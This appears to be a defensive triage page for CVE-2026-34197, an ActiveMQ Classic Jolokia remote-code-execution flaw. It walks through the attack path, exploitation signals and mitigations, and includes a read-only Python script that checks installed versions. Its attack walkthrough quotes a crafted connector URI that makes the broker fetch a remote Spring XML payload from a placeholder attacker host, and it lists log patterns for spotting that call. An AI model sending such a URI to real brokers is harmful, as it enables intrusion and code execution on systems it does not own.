← Back to Feed CACHED · 2026-05-17 09:42:19 · cache_key CVE-2025-29912
CVE-2026-34197 · CWE-20 · Disclosed 2026-04-07

Improper Input Validation

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
01 · The Real Story

This is a spare key hidden behind the admin console, not a hole in the front door

CVE-2026-34197 is an ActiveMQ Classic Jolokia/JMX-HTTP abuse path that lets an attacker call broker management MBeans like addNetworkConnector(String) or addConnector(String) with a crafted vm://...brokerConfig=xbean:http://... URI, forcing the broker to pull a remote Spring XML file and execute code inside the broker JVM. The original affected ranges are before 5.19.4/5.19.5 in the 5.x line and 6.0.0 through 6.2.2 in the 6.x line, with the exploit surface living on the web console/Jolokia path at /api/jolokia/ rather than the broker port alone.

Vendor HIGH is basically right, but the reality is split: for many enterprises this is *post-exposure to the management plane* and often *post-authentication*, which keeps it out of easy CRITICAL territory. The reason it stays near the top of the queue anyway is that it is KEV-listed, has public exploit guidance, carries 85.286% EPSS (99th percentile), and becomes effectively unauthenticated RCE on 6.0.0–6.1.1 when paired with CVE-2024-32114's missing API auth.

"KEV-listed RCE with public tradecraft, but the blast radius is gated by Jolokia/admin-plane exposure"
02 · The Attack Path

4 steps from start to impact.

STEP 01

Reach the Jolokia admin plane with curl or similar HTTP tooling

The attacker targets the ActiveMQ web console endpoint, specifically /api/jolokia/, not just the broker transport port. This is ordinary HTTP traffic, so commodity tooling like curl, Burp, or a Python requests script is enough to start the chain.
Conditions required:
  • ActiveMQ Classic web console is enabled
  • Jolokia endpoint is reachable from the attacker position
  • Target runs an affected ActiveMQ Classic build
Where this breaks in practice:
  • Many brokers are internal-only and never expose 8161 externally
  • Reverse proxies, VPN requirements, or management VLANs often cut off unauthenticated internet reachability
  • Some environments disable the web console entirely
Detection/coverage: External attack-surface scanners can usually spot TCP/8161 and Jetty banners, but they do not prove Jolokia is reachable or exploitable without deeper validation.
STEP 02

Satisfy authentication or abuse missing auth on 6.0.0–6.1.1

For the base CVE, the attacker needs credentials that can invoke broker management operations through Jolokia. In 6.0.0 through 6.1.1, CVE-2024-32114 can remove that hurdle by leaving /api/* unsecured by default, turning this into an effective unauthenticated RCE chain.
Conditions required:
  • Valid admin/Jolokia credentials or target is in the 6.0.0–6.1.1 range affected by CVE-2024-32114
  • User can invoke exec operations on ActiveMQ MBeans
Where this breaks in practice:
  • MFA, SSO fronting, or network ACLs can block the web console path before credentials matter
  • Non-default strong credentials kill the 'admin:admin' shortcut
  • Some operators restrict management access to bastion hosts
Detection/coverage: WAFs and reverse proxies may log authentication attempts, while application logs may show Jolokia POSTs; scanner coverage is mixed because auth context matters.
STEP 03

Call addNetworkConnector or addConnector through Jolokia

Using Jolokia exec, the attacker submits a crafted discovery URI such as static:(vm://rce?brokerConfig=xbean:http://ATTACKER/payload.xml). That weaponizes built-in broker functionality rather than a memory corruption bug, so reliability is high once the call lands.
Conditions required:
  • Jolokia exec access to ActiveMQ MBeans
  • Broker MBeans exposed under org.apache.activemq:*
  • Affected build that still permits the dangerous path
Where this breaks in practice:
  • Some hardened Jolokia policies may block exec or narrow allowed MBeans
  • Later fixed builds remove or constrain the dangerous vm:// path
  • Outbound proxy restrictions may break the next stage
Detection/coverage: Best detection is in broker logs and HTTP telemetry: look for POSTs to /api/jolokia/ containing addNetworkConnector, addConnector, or suspicious vm:// arguments.
STEP 04

Force remote Spring XML fetch and JVM-side code execution

The broker resolves the malicious brokerConfig URI and loads a remote Spring XML application context via ResourceXmlApplicationContext. Bean instantiation happens before broker validation completes, so payloads using methods like Runtime.exec() execute on the broker host under the ActiveMQ service account.
Conditions required:
  • Broker can make outbound HTTP/HTTPS to attacker-controlled infrastructure or an internal staging host
  • Spring XML loading path is reachable
  • Service account can spawn child processes or touch useful resources
Where this breaks in practice:
  • Egress filtering or DNS controls can block remote payload retrieval
  • Process controls, SELinux/AppArmor, or EDR child-process rules can limit follow-on execution
  • Constrained service accounts reduce post-exploitation value
Detection/coverage: High-fidelity artifacts include log entries with brokerConfig=xbean:http, unexpected outbound web requests from the broker, and child processes spawned by the Java/ActiveMQ service.
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusYes. NVD references CISA KEV for this CVE, which means CISA has evidence of exploitation in the wild.
KEV statusListed in KEV. NVD's CISA-ADP section shows KEV inclusion on 2026-04-16; search snippets show the due date as 2026-04-30.
EPSS85.286% (99th percentile) per the GitHub advisory's FIRST-fed EPSS data — extremely high for a flaw that already has public tradecraft.
Public exploit guidanceAvailable. Horizon3.ai published a full technical disclosure with a working curl exploit pattern; public GitHub repos are indexed, including 0xBlackash/CVE-2026-34197 and xshysjhq/CVE-2026-34197-payload-Apache-ActiveMQ-.
CVSS vector reality checkCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H scores the code execution correctly, but the PR:L requirement matters in real life because it usually implies management-plane reachability plus valid admin access.
Affected versionsOriginal advisory scope is 5.x before 5.19.4/5.19.5 and 6.0.0 through 6.2.2. The risk is materially worse on 6.0.0–6.1.1 because CVE-2024-32114 can leave /api/* unauthenticated.
Fixed versionsInitial fixes were published as 5.19.5 and 6.2.3 in GHSA/Openwall, but Horizon3 notes a later hardening fix and recommends 5.19.6 / 6.2.5 because CVE-2026-40466 can bypass the earlier fix path.
Exposure dataA CloudWave threat brief cites Shadowserver telemetry showing roughly 6,400+ internet-exposed ActiveMQ servers, which is enough exposed population for real attacker attention even if most enterprise brokers stay internal.
Disclosure timelineReported by Naveen Sunkavally (Horizon3.ai) on 2026-03-22; Apache acknowledged on 2026-03-26; public disclosure landed 2026-04-07.
Detection anchorsLook for Jolokia POSTs invoking addNetworkConnector/addConnector, broker logs containing vm:// plus brokerConfig=xbean:http, unexpected outbound HTTP from the broker, and child processes from the Java service.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to HIGH (8.9/10)

The decisive factor is KEV-backed active exploitation against a reliable RCE path with very public tradecraft. What keeps this out of CRITICAL is that the exploit usually still depends on admin-plane reachability and either credentials or a second misconfiguration/vulnerability, which sharply narrows the reachable population in mature environments.

HIGH Technical exploitability and impact on a reachable affected host
HIGH Active exploitation / KEV prioritization signal
MEDIUM How many of your brokers actually expose Jolokia or still carry default/weak admin access

Why this verdict

  • KEV + 99th-percentile EPSS push this above routine HIGH. Active exploitation evidence and an 85.286% EPSS mean attackers are not treating this as theoretical.
  • Admin-plane reachability is the main downward pressure. This is not 'hit any broker port and win'; the attacker needs the web console/Jolokia path, which many enterprises keep internal or disabled.
  • Authentication is real friction in the base case. PR:L implies either valid admin/Jolokia access or another failure such as default creds, reused creds, or the 6.0.0–6.1.1 no-auth condition from CVE-2024-32114.
  • Public tradecraft makes exploitation reliable once the prerequisites are met. Horizon3 published the chain end-to-end, and public PoC repos are already circulating.
  • Blast radius is meaningful but usually host-scoped first. Compromise lands in the broker JVM and then expands based on the service account, host trust, and what the message broker is allowed to reach.

Why not higher?

In the default case, this still assumes a prior condition that many enterprises do not hand attackers for free: access to the management interface plus usable privileges. A vulnerability that lives behind an internal admin plane is dangerous, but it is not the same operational class as an unauthenticated edge-service RCE that every internet host can spray immediately.

Why not lower?

Dropping this to MEDIUM would ignore the two strongest risk amplifiers: confirmed exploitation and very mature public exploit guidance. It also understates the ugly subset of 6.0.0–6.1.1 deployments where CVE-2024-32114 removes authentication entirely, collapsing most of the normal friction.

05 · Compensating Control

What to do — in priority order.

  1. Block Jolokia from untrusted networks — Restrict TCP/8161 and specifically /api/jolokia/ to bastions, management VLANs, or VPN-only paths immediately, within hours because this CVE is KEV-listed. If a broker is internet-reachable, treat that as an exposure defect first and a patching task second.
  2. Disable or constrain the web console admin plane — If operations permit it, disable the web console; otherwise tighten Jolokia policy so exec access to ActiveMQ MBeans is not broadly exposed. Do this immediately, within hours for internet-facing or business-critical brokers while patching catches up.
  3. Kill default and shared admin credentials — Rotate any admin:admin, inherited, or reused broker-console credentials and verify the role set can actually invoke management operations only from approved jump hosts. Because KEV overrides the normal HIGH timeline, complete this immediately, within hours on exposed or sensitive environments.
  4. Hunt for the exploit chain in logs and egress — Search broker and reverse-proxy logs for addNetworkConnector, addConnector, vm://, and brokerConfig=xbean:http, then pivot to outbound HTTP/DNS from broker hosts and child processes from the Java service. Run that hunt immediately, within hours because exploitation may already have happened before patching starts.
  5. Constrain broker egress — Block outbound HTTP/HTTPS from broker hosts except to explicitly approved destinations so the remote Spring XML second stage cannot be fetched easily. Apply this immediately, within hours where emergency firewall changes are possible.
What doesn't work
  • Blocking only the broker transport port such as 61616 does not solve this, because the exploit path rides the web console/Jolokia interface on 8161.
  • A generic WAF in front of the console is not enough by itself; the payload is a valid management operation and often looks like normal authenticated POST traffic.
  • Relying on EDR alone is not a control, only a safety net; the XML fetch and bean instantiation can execute before an agent meaningfully intervenes.
06 · Verification

Crowdsourced verification payload.

Run this on the target host or against a mounted application directory from an auditor workstation. Invoke it as python3 verify_cve_2026_34197.py /opt/activemq or py verify_cve_2026_34197.py "C:\Apache\ActiveMQ"; it only needs read access to the installation path and prints VULNERABLE, PATCHED, or UNKNOWN.

noisgate-verify.py
PYTHONREAD-ONLYSAFE
#!/usr/bin/env python3
# verify_cve_2026_34197.py
# Detect Apache ActiveMQ Classic version from an installation directory.
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
# Operational policy: versions below 5.19.6 or from 6.0.0 up to 6.2.4 are treated as VULNERABLE,
# because 5.19.5 / 6.2.3 were initial fixes for CVE-2026-34197 but later builds below 5.19.6 / 6.2.5
# may still be bypassable via CVE-2026-40466.

import os
import re
import sys
import glob

VERSION_PATTERNS = [
    re.compile(r'ACTIVEMQ_VERSION\s*=\s*["\']?([0-9]+\.[0-9]+\.[0-9]+(?:[-+.][A-Za-z0-9._-]+)?)'),
    re.compile(r'ActiveMQ\s+([0-9]+\.[0-9]+\.[0-9]+(?:[-+.][A-Za-z0-9._-]+)?)'),
    re.compile(r'([0-9]+\.[0-9]+\.[0-9]+(?:[-+.][A-Za-z0-9._-]+)?)')
]


def parse_version(s):
    m = re.match(r'^(\d+)\.(\d+)\.(\d+)', s)
    if not m:
        return None
    return tuple(int(x) for x in m.groups())


def cmp_version(a, b):
    return (a > b) - (a < b)


def extract_from_file(path):
    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            data = f.read(65536)
        for pat in VERSION_PATTERNS:
            m = pat.search(data)
            if m:
                return m.group(1)
    except Exception:
        pass
    return None


def extract_from_name(path):
    name = os.path.basename(path)
    for pat in VERSION_PATTERNS:
        m = pat.search(name)
        if m:
            return m.group(1)
    return None


def find_version(root):
    candidates = [
        os.path.join(root, 'bin', 'activemq'),
        os.path.join(root, 'bin', 'activemq.bat'),
        os.path.join(root, 'README.txt'),
        os.path.join(root, 'NOTICE'),
        os.path.join(root, 'NOTICE.txt'),
    ]

    for c in candidates:
        if os.path.isfile(c):
            v = extract_from_file(c)
            if v:
                return v, c

    jar_globs = [
        os.path.join(root, 'lib', 'activemq-broker-*.jar'),
        os.path.join(root, 'lib', 'activemq-client-*.jar'),
        os.path.join(root, 'lib', 'activemq-*.jar'),
        os.path.join(root, 'lib', 'optional', 'activemq-*.jar'),
    ]

    for pattern in jar_globs:
        for path in sorted(glob.glob(pattern)):
            v = extract_from_name(path)
            if v:
                return v, path

    return None, None


def classify(vtuple):
    # Safe floor chosen for operations because CVE-2026-40466 later bypassed the early fix path.
    if cmp_version(vtuple, (5, 19, 6)) < 0:
        return 'VULNERABLE', 'below 5.19.6'
    if cmp_version(vtuple, (6, 0, 0)) >= 0 and cmp_version(vtuple, (6, 2, 5)) < 0:
        return 'VULNERABLE', 'within 6.0.0-6.2.4'
    return 'PATCHED', 'at or above 5.19.6 / 6.2.5 operational safe floor'


def main():
    if len(sys.argv) != 2:
        print('UNKNOWN - usage: python3 verify_cve_2026_34197.py <ACTIVEMQ_HOME>')
        sys.exit(2)

    root = sys.argv[1]
    if not os.path.isdir(root):
        print(f'UNKNOWN - path not found: {root}')
        sys.exit(2)

    version_str, source = find_version(root)
    if not version_str:
        print('UNKNOWN - could not determine ActiveMQ version from installation path')
        sys.exit(2)

    vtuple = parse_version(version_str)
    if not vtuple:
        print(f'UNKNOWN - found version string but could not parse it: {version_str}')
        sys.exit(2)

    state, reason = classify(vtuple)
    print(f'{state} - ActiveMQ {version_str} detected from {source} ({reason})')
    sys.exit(0 if state == 'PATCHED' else 1)


if __name__ == '__main__':
    main()
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning, do not argue with the KEV signal: patch / mitigate immediately, within hours on any internet-exposed broker, any broker with the web console reachable from broad internal networks, and especially anything in 6.0.0–6.1.1 where CVE-2024-32114 may make this chain unauthenticated. Under the noisgate mitigation SLA, the KEV listing overrides the normal HIGH window, so access controls, Jolokia restrictions, egress limits, and hunting should start immediately, within hours; under the noisgate remediation SLA for HIGH, finish the fleet-wide move to safe builds — preferably 5.19.6 / 6.2.5 or later rather than the earlier interim fixes — within 180 days, but your exposed tier should not wait past this week.

Sources

  1. Apache ActiveMQ advisory for CVE-2026-34197
  2. Apache ActiveMQ Classic security advisories index
  3. Openwall oss-security post
  4. GitHub Advisory Database GHSA-rxpj-7qvf-xv32
  5. NVD entry for CVE-2026-34197
  6. Horizon3.ai technical disclosure
  7. Apache advisory for CVE-2024-32114
  8. CloudWave threat brief citing Shadowserver exposure
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.